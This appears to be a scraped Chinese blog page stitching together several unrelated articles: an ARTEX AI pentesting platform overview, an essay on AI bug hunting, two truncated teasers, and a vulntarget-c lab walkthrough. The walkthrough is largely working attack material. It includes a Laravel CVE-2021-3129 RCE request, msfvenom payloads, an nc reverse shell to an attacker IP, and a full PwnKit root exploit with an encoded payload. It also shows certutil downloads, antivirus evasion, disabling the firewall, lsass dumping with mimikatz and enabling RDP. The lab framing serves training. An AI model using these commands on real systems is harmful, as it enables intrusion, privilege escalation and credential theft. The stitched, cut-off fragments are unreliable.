做渗透测试的人，为什么需要一个漏洞管理平台？ARTEX项目分析 做渗透测试的时候，真正让人头疼的往往不是“找不到漏洞”，而是测试做到后面，突然不知道自己到底测了什么。域名、子域名、IP、端口、站点、接口、漏洞、请求记录散落在不同工具里，发现一个问题还要自己截图、整理证据。目标一多，测试过程就很容易变成一堆零散的信息。所以做渗透测试，除了扫描和漏洞验证，其实还需要解决一个问题：怎么把整个测试过程管理起来？最近比较有意思的一个开源项目是 ARTEX，它是一套 AI 自主渗透测试系统，采用 Go + Next.js 架构，把 AI Agent、资产管理、探索过程、工具调用、漏洞发现和人工审批放到了一起。ARTEX 不只是一个“AI 扫描器”如果把 ARTEX 简单理解成“让 AI 自动跑 Nmap”，其实有点低估这个项目了。传统扫描器通常是输入目标，然后等待结果；ARTEX 更接近一个持续运行的 Agent 工作流：目标 ↓ 资产发现 ↓ AI 分析 ↓ 制定下一步计划 ↓ 调用工具 ↓ 获得结果 ↓ 更新资产 / 发现 ↓ 继续探索所以它需要记录的东西，自然也不只是最后的漏洞。ARTEX 有独立的任务管理，可以把一次测试作为完整任务保存下来。任务执行过程中，Agent 的会话和工具调用也会被记录下来。这点其实非常重要。因为 AI 最终告诉你“这里可能存在一个漏洞”，并不能说明问题已经结束。你还需要知道它为什么得出这个结论、调用了什么工具、获得了什么结果，以及有没有足够的证据支撑。资产和探索，是 ARTEX 比较有意思的地方ARTEX 对资产进行了独立管理，可以记录 root domAIn、subdomAIn、IP、service、app、endpoint 等不同类型的资产，并处理资产之间的关联和去重。除此之外，还有一个探索图。它记录的不是简单的“扫描结果”，而是 AI 在测试过程中产生的目标、意图、事实和发现。这也是 AI Agent 和传统自动化脚本比较明显的区别。脚本一般按照固定流程执行，而 Agent 可以根据前面获得的信息决定下一步做什么。某个结果出现以后，可能产生新的资产、新的事实，然后继续触发下一轮探索。ARTEX 的架构里，Planner 负责规划，Worker 负责执行，执行结果再重新写回系统。简单理解就是：Planner → 生成任务 ↓ Worker → 执行工具 ↓ 产生新信息 ↓ 更新探索状态 ↓ Planner 再判断下一步漏洞发现以后，还需要管理什么？安全测试最容易被忽略的一环，其实是复测。漏洞发现以后，开发人员修复，测试人员还需要重新确认到底有没有修好。如果漏洞数量比较多，这件事本身就会变成一个工作量。ARTEX 已经把漏洞复测纳入了测试流程，可以针对之前发现的问题重新发起复测，并记录“仍可复现、已修复、无法确认”等结果。这样管理的就不再只是：发现过哪些漏洞？而是：这个漏洞现在到底是什么状态？这才更接近真正的漏洞生命周期管理。AI 也不能完全放开跑另一个比较值得注意的设计是人在环路。ARTEX 还提供了拦截审批功能。也就是说，AI 可以负责分析、规划和调用工具，但涉及需要人工确认的操作时，可以进入审批流程。对于 AI 安全测试来说，这种设计其实比单纯追求“全自动”更加现实。毕竟安全测试和普通自动化任务不一样，目标范围、操作权限以及测试行为都需要明确控制。自己部署难不难？ARTEX 支持 Docker Compose、一键安装、预编译版本和源码编译。使用 Docker 部署的话，基本流程就是：git clone https://github.com/Autumn-27/ARTEX.git cd ARTEX cp .env.example .env Docker compose up -d启动后访问：http://localhost:8787项目使用 PostgreSQL，AI 探索需要配置 LLM，目前支持 Anthropic 和 OpenAI。如果准备放到 VPS 上运行，也不建议单纯按照“最低配置”来选机器。实际资源消耗还和 Agent 数量、并发任务、数据库规模以及工具运行情况有关。自己学习的话，可以先从小规格 VPS 开始，根据实际运行情况再调整。最后所以回到最开始的问题：做渗透测试的人，为什么需要一个漏洞管理平台？因为当测试规模变大以后，真正需要管理的已经不只是漏洞。还有资产、测试任务、Agent、工具调用、探索过程、流量、证据以及后续复测。ARTEX 有意思的地方，也恰恰不是“AI 能不能找到一个漏洞”，而是它开始尝试把这些东西串成一个完整的安全测试工作流。对于想研究 AI Agent + 网络安全 的人来说，这类项目比单纯的 AI 扫描器更值得关注。需要注意的是，这类工具应当用于自己的实验环境、隔离靶场或明确获得授权的测试目标，不要直接对未知公网目标进行扫描或测试。如果你准备自己搭建 AI 安全测试环境，可以根据实际需求选择云服务器：1、

如何看待当下的AI挖洞？AI挖洞有没有前途 这两年做渗透测试、漏洞挖掘的人，应该都有一个越来越明显的感觉：AI 真的开始进场了。以前我们说“AI 挖洞”，多少还有点像一个概念。让大模型帮你分析代码、看看请求、解释一个漏洞，这些事情早就能做。但真到了 2025、2026 年，情况已经开始不一样了。现在的 AI 不只是“帮你写 Payload”。它开始自己读代码、分析程序、调用工具、运行测试、验证漏洞，甚至尝试修改补丁。所以很多刚入行的人会开始问一个很现实的问题：以后还需要学渗透测试吗？ AI 都能自己挖漏洞了，人还有什么价值？我的看法是：AI 挖洞肯定有前途，而且这个方向已经不是“有没有前途”的问题了，而是它已经开始成为漏洞研究的一部分。但另一件事也是真的：现在就说“以后 AI 可以完全替代渗透测试人员”，还早。一、先别急着说“AI 要取代黑客”，现在它已经能干什么？先看几个比较实际的变化。DARPA 的 AI Cyber Challenge（AIxCC）本身就是一个很典型的例子。这个项目专门研究利用 AI 自动发现、分析和修复软件漏洞。在 2024 年的半决赛中，参赛系统发现了 22 个独特的人工植入漏洞，并修复了其中 15 个，同时还发现过 SQLite 中的真实世界漏洞。到 2025 年的最终竞赛，AI 系统已经被要求在更复杂的软件环境里同时完成漏洞发现和修复。这说明一个问题：AI 挖漏洞已经不是 PPT 里的概念了。Google 这边也在做类似的事情。Google DeepMind / Project Zero 的 Big Sleep 已经被用于漏洞发现，Google 在 2025 年公开表示，它曾发现包括 SQLite 在内的真实世界漏洞；到 2026 年，Google 又表示已经把基于 Gemini 的 agent harness 扩展到了更大范围的 Chrome 代码库。OpenAI 也已经推出了 Codex Security research preview，用 agent 去理解项目上下文、寻找复杂漏洞、验证结果，并尝试生成修复方案。所以现在再说：“AI 只能写写代码，根本不会真正挖漏洞。”这个判断已经站不住了。二、但是 AI 挖洞和我们理解的“挖洞”，其实不是一回事很多人第一次接触 AI 挖洞，会产生一个误解：给 AI 一个网站。 然后 AI 自己扫描。 找到漏洞。 自动验证。 最后提交报告。如果真能稳定做到这个程度，那确实非常吓人。但现实距离这个状态还有明显差距。因为真正的漏洞研究，往往不是：“这里有没有漏洞？”而是：“这个功能到底是怎么工作的？”这两个问题完全不一样。举个很简单的例子。一个普通的 IDOR，你可能一眼就能发现：代码语言：javascriptAI代码解释/user/profile?id=1001改成：代码语言：javascriptAI代码解释/user/profile?id=1002然后看返回结果。这属于比较典型的自动化任务。但如果开发人员做了三层权限判断：代码语言：javascriptAI代码解释前端权限 ↓ API 权限 ↓ 业务对象权限而真正的问题出现在第三层。这时候就不是简单改个 ID 能解决的。你需要理解：用户角色之间有什么区别；对象属于谁；服务端到底在哪一步做权限判断；哪些接口共享同一个业务对象；某个状态变化之后权限模型有没有发生变化。这时候真正值钱的其实不是“会不会发请求”。而是：你有没有能力建立业务模型。三、AI 现在最强的地方，其实不是“发现神洞”，而是“扩大搜索面积”这一点我觉得特别重要。很多人讨论 AI 挖洞，总喜欢拿“AI 能不能发现一个超级复杂 0day”来判断它有没有价值。其实这个角度有点偏。AI 最大的优势可能根本不是：一次挖出别人十年没发现的神级漏洞。而是：以前一个人只能看 10 万行代码，现在可以让几十个 agent 同时帮你分析。这才是真正恐怖的地方。人类的问题是什么？时间有限。精力有限。注意力有限。一个研究员一天可能认真分析几个模块。但是机器可以同时跑大量任务。比如：代码语言：javascriptAI代码解释代码审计 ↓ 自动定位高风险函数 ↓ 生成测试用例 ↓ 尝试构造输入 ↓ 运行程序 ↓ 观察异常 ↓ 再次调整输入 ↓ 验证漏洞这个过程如果全部交给人工，成本非常高。但 AI Agent 可以把大量重复劳动吃掉。所以以后非常可能出现一种情况：不是 AI 替代漏洞研究员，而是“一个漏洞研究员 + 一堆 AI Agent”。一个人带着十个、二十个甚至更多自动化研究任务同时跑。这才是我觉得比较现实的未来。四、AI 挖洞真正的问题，其实是“误报”这个问题很多宣传文章不会重点讲。因为“AI 一晚上发现 5000 个漏洞”听起来很夸张。但你真正把结果打开：代码语言：javascriptAI代码解释Finding 0001 Finding 0002 Finding 0003 Finding 0004 ...然后发现：其中一大堆根本没法利用。还有一些：重复漏洞。再有一些：只是理论风险，实际攻击链根本走不通。这就麻烦了。HackerOne 在 2026 年公开讨论过这个问题：随着 AI 能力增强，漏洞报告数量明显上升，但增加的报告并不全部具有同等价值，其中会包含重复、无法验证、缺乏足够技术深度的提交。其平台 2026 年 3 月的报告量达到 46,947 份，同比增长 76%，而确认可利用的比例大约仍在四分之一左右。所以：发现 1000 个结果，不等于发现 1000 个漏洞。真正重要的是：代码语言：javascriptAI代码解释发现 ↓ 验证 ↓ 利用 ↓ 判断影响 ↓ 去重 ↓ 形成完整漏洞链 ↓ 写出别人能复现的报告最后这几步，目前仍然非常依赖人的判断。五、还有一个 AI 不太容易处理的问题：业务逻辑这个可能是我最看好的一个方向。因为很多漏洞并不是代码层面那种特别标准的：代码语言：javascriptAI代码解释SQL Injection XSS RCE SSRF而是：业务设计本身有问题。例如：一个平台正常流程是：代码语言：javascriptAI代码解释注册账号 ↓ 购买商品 ↓ 支付 ↓ 生成订单 ↓ 获得权益结果你研究半天发现：代码语言：javascriptAI代码解释优惠券校验在 A 接口 订单价格校验在 B 接口 最终权益发放在 C 接口然后 A、B、C 三个接口分别看起来都没什么问题。但是组合起来：就出问题了。这种漏洞特别依赖研究员自己的理解。你需要站到业务设计者的角度去想：“如果我是开发，这三个接口为什么这样设计？”然后再反过来找：“有没有哪一个状态，可以被我人为制造出来？”这类东西，确实是 AI 很想攻克、但目前仍然比较困难的地方。六、所以以后还值得学 Web 漏洞吗？我觉得更应该学。只是学习方式要变。以前可能是：代码语言：javascriptAI代码解释学 HTTP ↓ 学 Web 漏洞 ↓ 学 Burp ↓ 学扫描器 ↓ 刷靶场 ↓ 找漏洞以后更合理的路线应该是：代码语言：javascriptAI代码解释理解 Web 原理 ↓ 理解漏洞原理 ↓ 学会人工验证 ↓ 学会代码审计 ↓ 学会使用 AI ↓ 学会编排 Agent ↓ 人工 + AI 联合研究也就是说：以后最危险的不是“不会 AI 的安全人员”。真正容易被淘汰的，反而可能是：只会机械执行固定流程的人。比如：代码语言：javascriptAI代码解释打开 Burp ↓ 扫目录 ↓ 跑扫描器 ↓ 复制结果 ↓ 提交报告这一整套工作，本身就特别适合自动化。AI 只是让这个自动化过程进一步升级。七、那“AI 挖洞”到底有没有前途？如果你问我的判断：有，而且会越来越重要。但我不建议把它理解成：“以后 AI 自己挖洞，人就不用学了。”我反而更倾向于认为，未来会出现一种新的漏洞研究模式：代码语言：javascriptAI代码解释人 │ ├── 定义目标 ├── 理解业务 ├── 提出假设 ├── 设计攻击思路 └── 判断最终影响 │ ▼ AI Agent │ ┌──────┼──────┐ ▼ ▼ ▼ 代码审计 测试 验证 │ │ │ └──────┼──────┘ ▼ 人工复核 ▼ 最终结论AI负责大量重复工作。人负责真正困难的判断。这个分工，我觉得反而非常合理。八、以后什么样的人更吃香？这个问题其实比“AI 有没有前途”更值得问。如果一个人现在只会：“这个参数可能存在 SQL 注入，我用一下工具。”那确实会越来越卷。但是如果你能够做到：“我理解这个系统的业务逻辑，我知道它的数据怎么流动，我可以根据异常行为提出假设，再让 AI 帮我快速验证。”那完全是另外一个层级。未来真正有价值的能力，我觉得会逐渐向这几个方向集中：第一，漏洞原理。不是背 Payload。而是知道为什么这个 Payload 能成功。第二，代码理解。至少要能够读懂常见的 Web 后端逻辑。第三，业务理解。尤其是支付、权限、订单、身份、云服务这些复杂系统。第四，AI 使用能力。不是简单问 ChatGPT：“帮我找一下这个漏洞。”而是能够让 AI 成为你的研究助手。第五，验证能力。AI 说有漏洞，不代表真的有。你得自己证明。这一点以后可能反而越来越重要。九、最后说一个可能不太好听的事实AI 对漏洞挖掘最大的改变，可能不是：“以后 AI 会不会挖洞。”而是：“漏洞的产能可能会突然提高很多。”过去一个研究员一天能分析多少东西，有比较明显的上限。以后这个上限可能会被 AI 大幅度提高。于是问题就会从：“谁能找到漏洞？”慢慢变成：“谁能在海量自动化结果里找到真正有价值的漏洞？”这其实又回到了人的能力。你看得懂代码吗？你理解业务吗？你能判断攻击链吗？你能区分一个普通低风险问题和一个真正有影响的漏洞吗？你能让 AI 按照你的思路去工作吗？这些东西，才可能是未来几年真正拉开差距的地方。写在最后所以对于现在还在学渗透测试、漏洞挖掘的人，我反而不建议因为 AI 出现就开始焦虑。真正应该警惕的是另一件事情：还在用几年前的方式学习。以前我们可能花大量时间记工具参数、背 Payload、刷重复靶场。以后这些东西依然有用，但它们的边际价值可能会越来越低。真正值钱的，是你脑子里那套：发现问题 → 提出假设 → 验证假设 → 建立攻击链 → 判断影响AI 可以帮你把前面的路跑得更快。但最后那个“为什么这个系统会出问题”，依然需要有人真正想明白。所以 AI 挖洞有没有前途？答案其实已经不是一个未来时。它已经开始发生了。现在真正值得考虑的问题应该变成：当 AI 开始参与漏洞研究以后，你想成为被 AI 替代的人，还是使用 AI 的那个人？这个选择，可能比“AI 会不会挖洞”本身重要得多。

十个 AI Agent 渗透测试工具推荐，最后一个最适合手工党 从事AI安全相关的工作已经有一段时间了。在这一段时间里，GitHub上面的AI渗透测试工具那可就跟爆发了似的一下子多了起来。今儿个就来跟大家讲讲当下比较热门的十个项目，给很多想要在这个方面尝试一下的朋友们当作参考。服务器推荐服务器推荐：

阿里云 vs 腾讯云综合对比，服务器选购方案 基于实际价格数据的全方位分析，帮你选到最适合的云服务器一、前言很多师傅们第一次买服务器都踩坑了，要么买贵了，要么配置不够用，要么续费时价格翻倍。我做站两三年了，前前后后用过

vulntarget-c 内网靶场渗透实战：从外网到跨网段提权拿下三台主机 前期环境配置在开始渗透测试前，我们需要先调整靶场虚拟机的网络模式，将ubuntu20虚拟机切换为nat模式，确保所有靶场机器和测试主机处于同一内网网段，方便后续的流量通信和操作。第一阶段：外网打点与初始shell获取1、内网活跃主机探测渗透测试的第一步是定位目标所在的活跃主机，我们在测试终端执行arp-scan扫描命令，快速扫描当前局域网内的所有设备：arp-scan -l 执行后我们很快定位到了目标主机的IP地址：10.30.7.55。2、全端口扫描与服务识别接下来我们使用nmap工具对目标主机进行全面的端口和服务扫描，使用半开放扫描模式避免被目标防火墙拦截，同时提速扫描效率：nmap -sS -p- -A 10.30.7.55 -T4 扫描结果显示80端口（HTTP服务）和22端口（SSH服务）处于开放状态，同时我们还获取了目标主机的系统版本、运行的Web框架等基础信息。3、漏洞信息收集通过扫描结果我们确认目标运行的是Laravel Web框架，结合公开的漏洞库信息，该版本的Laravel存在CVE-2021-3129远程代码执行漏洞，该漏洞可以通过特定的接口请求实现未授权的代码执行。4、漏洞验证与利用该漏洞的触发条件是向/_ignition/execute-solution接口发送恶意POST请求，当页面返回500状态码且出现file_get_contents相关错误时，即可确认漏洞存在。我们构造了如下的HTTP请求包：文章参考：laravel RCE（CVE-2021-3129）复现 - Running_J - 博客园POST /_ignition/execute-solution HTTP/1.1 Host: 10.30.7.55 Content-Type: application/json Content-Length: 168 { "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution", "parameters": { "variableName": "jack", "viewFile": "jack1" } } 5、获取反向shell我们可以使用公开的exp脚本进行快速利用expcuongtop4598/CVE-2021-3129-Script: Add revert shell首先需要根据目标系统的架构调整脚本内容修改源码，uname -a判断为系统类型为x64，并且wget命令存在首先我们生成针对linux x64架构的反弹shell木马：msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=10.30.7.128 lport=4444 -f elf > shell.elf 其中lhost是我们的本地监听IP，lport是自定义的监听端口。为了让目标主机可以下载我们生成的木马我们在本地开启了简易的HTTP文件共享服务，将当前目录作为共享目录。之后我们在目标主机执行修改后的下载命令，将木马文件下载到本地临时目录。接下来我们执行反弹shell命令，建立和本地监听终端的连接：rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.30.7.128 4444 >/tmp/f 继续修改文件，分别写入如下命令，依次执行chmod +x /tmp/shell.elf /tmp/shell.elf 执行之前，新开一个终端，打开msfmsfconsole -q -x "use exploit/multi/handler; set PAYLOAD linux/x64/meterpreter/reverse_tcp; set LHOST 10.30.7.128; set LPORT 4444; exploit -j -z" 上线之后能看到第二个网卡为10.0.20.1416、权限提升成功拿到低权限shell后，我们需要进一步提升权限获取root访问权限。首先我们上传linpeas.sh脚本到目标主机，该脚本可以自动扫描主机上的潜在漏洞和配置错误：upload linpeas.sh shell python3 -c 'import pty;pty.spawn("/bin/bash")' chmod +x linpeas.sh ./linpeas.sh 扫描结果显示目标主机存在CVE-2021-4034（pwnkit）漏洞，这是一个pkexec的本地权限提升漏洞，可以让普通用户获取root权限。我们使用公开的poc脚本进行提权：#!/usr/bin/env python3 # poc for https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt found by qualys # hardcoded amd64 lib from ctypes import * from ctypes.util import find_library import os import zlib import base64 import tempfile payload = zlib.decompress( base64.b64decode( """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""" ) ) libc = CDLL(find_library("c")) libc.exeCVE.argtypes = c_char_p, POINTER(c_char_p), POINTER(c_char_p) libc.exeCVE.restype = c_ssize_t wd = tempfile.mkdtemp() open(wd + "/pwn.so", "wb").write(payload) os.mkdir(wd + "/gconv/") open(wd + "/gconv/gconv-modules", "w").write( "module UTF-8// INTERNAL ../pwn 2" ) os.mkdir(wd + "/GCONV_PATH=.") os.mknod(wd + "/GCONV_PATH=./gconv") os.chmod(wd + "/GCONV_PATH=.", 0o777) os.chmod(wd + "/GCONV_PATH=./gconv", 0o777) os.chmod(wd + "/pwn.so", 0o777) os.chdir(wd) cmd = b"/usr/bin/pkexec" argv = [] envp = [ b"gconv", b"PATH=GCONV_PATH=.", b"LC_MESSAGES=en_US.UTF-8", b"XAUTHORITY=../gconv", b"", ] cargv = (c_char_p * (len(argv) + 1))(*argv, None) cenv = (c_char_p * (len(envp) + 1))(*envp, None) libc.exeCVE(cmd, cargv, cenv) 执行该脚本后我们成功获取到了root权限，同时发现目标主机存在第二块网卡，IP地址为10.0.20.141，说明目标主机处于另一个内网网段，需要进行横向移动渗透。第二阶段：内网横向移动渗透1、配置路由与网段扫描我们需要将msf的流量转发到新发现的10.0.20.0/24网段，以便扫描该网段内的其他主机。首先我们配置路由规则，将该网段的流量通过当前的shell会话转发。接下来我们使用msf的端口扫描模块扫描该网段内的活跃主机：ping内网主机发现，仅仅显示本机的第二张网卡ipfor i in {1..254}; do (ping -c 1 10.0.20.${i} | grep "bytes from" | grep -v "Unreachable" &); done; tcp扫描，发现内网主机ip10.0.20.100，说明目标机器禁了ping或者开启了防火墙use auxiliary/scanner/portscan/tcp set RHOSTS 10.0.20.0/24 set PORTS 22,80,135,139,445 run 2、访问Web后台与漏洞发现我们访问10.0.20.100的80端口，发现是一个企业内部的后台管理系统尝试使用常见的弱口令组合admin/admin123成功登录后台管理界面。在service list中的编辑按钮，能找到数据包，对其进行SQL注入检测，发现其可能存在SQL注入漏洞并且站点跟目录为\xampp\htdocs\ovas\3、SQL注入获取webshell我们使用sqlmap工具对该注入点进行检测，首先确认当前数据库用户权限：sqlmap -u "http://10.0.20.100/admin/services/manage_service.php?id=5" --cookie "PHPSESSID=kij7i7jvpiq97lgf8r98cociip" --current-user 尝试直接获取webshell，发现是系统权限sqlmap -u "http://10.0.20.100/admin/services/manage_service.php?id=5" --cookie "PHPSESSID=kij7i7jvpiq97lgf8r98cociip" --os-shell 成功获取到了windows主机的系统权限shell，我们查看系统架构确认是64位系统，systeminfo 接下来生成对应的反弹shell木马：msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=4444 -f exe -o shell.exe 传马到第一台机器中开启文件共享4、免杀木马与上线我们将生成的木马文件上传到目标主机的web目录下，尝试使用certutil命令下载并执行：windows机器从这台linux中下载文件certutil -urlcache -split -f http://10.0.20.141:8000/shell.exe shell.exe 准备上线上线失败，被杀加免杀，生成shellcodemsfvenom -p windows/x64/meterpreter/bind_tcp LPORT=4444 -f c --encrypt base64 替换shellcode打包pyinstaller -F -w Bypass_AV.py 继续上传此时没有被杀，但是没有上线，大概率防火墙没关关闭防火墙netsh advfirewall set allprofiles state off 正常上线第三阶段：拿下第三台靶场主机1、内网信息收集与网段扫描成功获取windows主机权限后，我们进行内网信息收集，发现该主机处于工作组环境，没有域控制器。接下来我们扫描10.0.10.0/24网段，发现10.0.10.110主机仅开放22端口，大概率是linux服务器。发现另一个网段机器内网信息收集，发现并没有域环境，是一个工作组ping主机探测，发现内网第三台服务器，通过ttl为64可以看出目标机器大概率是linux服务器for /l %i in (1,1,255) do @ping 10.0.10.%i -w 1 -n 1 | find /i "ttl" msf添加路由run post/multi/manage/autoroute 端口扫描，仅开放22端口use auxiliary/scanner/portscan/tcp set RHOSTS 10.0.10.110 set PORTS 22,80,135,139,445 run 2、爆破登录与凭据获取我们尝试使用之前获取的凭据登录该linux主机，但是全部失败。于是我们使用hydra工具进行弱口令爆破，最终得到登录密码Admin#123，成功登录该主机。抓取系统hashload kiwi creds_all 修改注册表reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f 再次抓取，也失败creds_all 离线导出procdump.exe -accepteula -ma lsass.exe demo.dmp 开启http服务传到本地，使用本地的mimikatz加载明文密码使用mimikatz抓取明文密码，发现系统并没有保存密码在这个文件中，原因就是系统没有本地登录或者远程登录过，所以无法获取用户登录的凭据mimikatz.exe sekurlsa::minidump demo.dmp sekurlsa::logonpasswords full 直接爆破得到密码Admin#123 开启远程服务C:\xampp\htdocs\ovas\admin\services>netsh advfirewall firewall add rule name="Remote Desktop TCP" dir=in action=allow protocol=TCP localport=3389 netsh advfirewall firewall add rule name="Remote Desktop TCP" dir=in action=allow protocol=TCP localport=3389 Ok. C:\xampp\htdocs\ovas\admin\services>reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f The operation completed successfully. 使用默认的远程连接工具连接不上，rdesktop 不支持 CredSSP使用下面这个工具xfreerdp /u:Administrator /v:10.0.20.100 /cert:ignore 3、获取最终权限我们在windows主机的远程连接工具中发现了该linux主机的另一个用户凭据，密码为vuln@qwe，使用该密码我们成功登录并获取了该主机的最高权限，拿下了最后一台靶场机器。在文件管理中发现了这个远程连接工具查看旁边的10.0.10.110直接双击就能远程连接在linux中找了大半天信息，没有任何东西，直到在这个工具中发现这个用户的密码vuln@qwe拿下最后一台机器